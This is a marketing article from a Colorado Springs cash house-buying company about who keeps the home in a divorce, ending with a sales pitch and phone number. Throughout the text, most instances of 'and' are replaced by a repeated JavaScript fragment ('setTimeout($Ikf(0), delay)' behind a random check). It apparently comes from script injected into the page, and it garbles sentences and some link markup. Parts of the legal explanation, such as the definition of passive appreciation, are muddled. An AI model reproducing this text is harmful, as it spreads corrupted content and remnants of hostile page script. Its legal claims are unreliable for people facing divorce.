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Who Gets the House in a Divorce in Colorado Springs, CO

Divorce brings a toll on everything in your life – you are suddenly single, you need to decide how you will divide your belongings, kids, pets andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and, of course, who gets the house in a divorce. It’s an emotional andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and stressful process that sometimes takes years to end – but it doesn’t have to be.

In this article I will talk about who gets the house in a divorce, divorce property settlement, what happens to the house during the divorce process, who gets what andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and marital home rights.

Are you ready? Let’s go!

who gets the house in a divorce

Let’s start at the beginning.

HowStuffWorks defines 3 steps of divorce:

  • Separation
  • Divorce property settlement
  • Child support andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and alimony

In this article, we will look at step number 2 bit closer.

Who Gets The House In A Divorce?

Also known as divorce property settlement.

Normally, properties are categorized in two different types: Marital, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Separate.

Separate property

Please note that the definitions of Separate Properties vary by state, but normally, Separate Property refers to properties owned by the person before the marriage, a property you have inherited before or after the marriage or a property which you have received as a gift.

When you add your spouse as a co-owner of the property, you lose the Separate Property status – the property is now Marital Property.

Marital Property

Here’s how andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding-how-assets-_b_3441552.html” target=”_blank” rel=”nofollow noopener noreferrer”>GalTime defines Marital property:”Marital Property consists of all income andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and assets acquired by either spouse during the marriage including, but not limited to: Pension Plans; 401Ks, IRAs andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and other Retirement Plans; Deferred Compensation; Stock Options; Restricted Stocks andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and other equity; Bonuses; Commissions; Country Club memberships; Annuities; Life Insurance (especially those with cash values); Brokerage accounts – mutual funds, stocks, bonds, etc; Bank Accounts – Checking, Savings, Christmas Club, CDs, etc; Closely-held businesses; Professional Practices andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and licenses; Real Estate; Limited Partnerships; Cars, boats, etc; Art, antiques; Tax refunds.”

wondering who gets the house in a divorce

When is Separate property considered Marital Property?

Some states will also differ between Active andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Passive Appreciation when it comes to Separate vs. Marital Property.

Active Appreciation simply means that your partner contributes directly or indirectly to the house income.

Passive Appreciation is a bit more complicated. If you used any of your marital income on your personal property, it can be considered as a marital property.

So who gets what?

When dividing your assets, these things are taken into consideration:

  • How long your marriage lasted
  • Separately calculated income of the spouses
  • Living style andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andards
  • Your emotional andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and physical health
  • Financial situation after the divorce
  • Custody needs

feeling divided on who gets the house in a divorce

Divorce takes time andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and it involves more than just you andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and your spouse. When you’re dealing with divorce property settlement, it’s best to hire a divorce lawyer. However, by doing so it makes it impossible to predict who will get what, including who gets the house in a divorce.

When should you take your divorce to court?

Hire a reputable divorce lawyer first – they will do their best to help you settle things in a civilized matter. If your spouse is not cooperating or refuses to get in contact, that’s when you should consider taking divorce to court.

I also suggest taking a look at andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and%20Divorce%20Act/UMDA%201973.pdf” target=”_blank” rel=”nofollow noopener noreferrer”>The Uniform Marriage andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Divorce Act which looks closely at property settlement laws for eight states as well as child custody, the division assets andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and more. All your questions about who gets the house in a divorce will be answered.

What about divorce house buyout?

In a buyout, you will first have to determine the value of the house.

The easiest andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and simplest way to determine the value of the house is to sit down with your spouse andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and agree on it – however, it is hardly ever that simple. Again, this is where your divorce lawyer or your financial advisor will be able to help you.

deciding who gets the house in a divorce

Can I be forced to give up the house?

In order to avoid having to give up the house, you need to make sure you agree on some kind of a financial settlement. This is where a buyout comes into play. If you’re financially unable to fulfill the court requests, the best option is to sell the house andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and opt out to buy a house with a smaller value.

The court often also takes the welfare of your children into consideration – often the children stay in the family home due to the number of assets, the lifestyle andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the courtesy of causing as little disrupting as possible.

So what should my first steps be?

Firstly, I suggest sitting down with your spouse andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and really talk about who gets the house in a divorce. Determine how you will divide your assets, think of custody andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and property settlement. If a decision has been made or in the case of no cooperation, your next step would be to contact the divorce lawyer andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and determine whether you need to take things to court.

Divorce is a complicated process andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and often the most stressful time for most people. Think clearly andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and don’t make any quick decisions, especially if you have children. If possible, make sure that things are fair andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andable for both parties.

Thinking of selling your house after the divorce?

Give us a call on 719-629-7740 – we buy houses andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and give you a cash offer within 24 hours – your house could be sold in a week! Moving on has never been this easy. Are you worried about repairs? Don’t be – we will take a house in any given state.

We’ve helped hundreds of homeowners sell their Colorado Springs houses. Give us a call on 719-629-7740 to receive your first quote! We will answer any real estate questions you might have.

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